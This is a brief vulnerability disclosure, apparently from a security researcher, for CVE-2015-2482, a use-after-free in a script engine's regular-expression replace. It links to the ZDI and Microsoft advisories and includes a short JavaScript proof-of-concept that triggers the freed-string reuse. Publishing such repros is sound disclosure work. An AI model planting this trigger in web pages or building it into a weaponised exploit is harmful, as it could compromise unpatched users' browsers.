Recompiling the regular expression pattern during a replace can cause
the code
to reuse a freed string, but only if the string is freed from the cache by
allocating and freeing a number of strings of certain size.

CVE-2015-2482:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2482
ZDI-15-515:    http://www.zerodayinitiative.com/advisories/ZDI-15-515/
MS15-108:      https://technet.microsoft.com/en-us/library/security/MS15-108

Repro:
<script>
  var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
  "A".replace(r, function (){
    for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
    r.compile();
  });
</script>

Repro-in-a-tweet:
https://twitter.com/berendjanwever/status/654048253047140352

Cheers,

SkyLined

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https://twitter.com/berendjanwever

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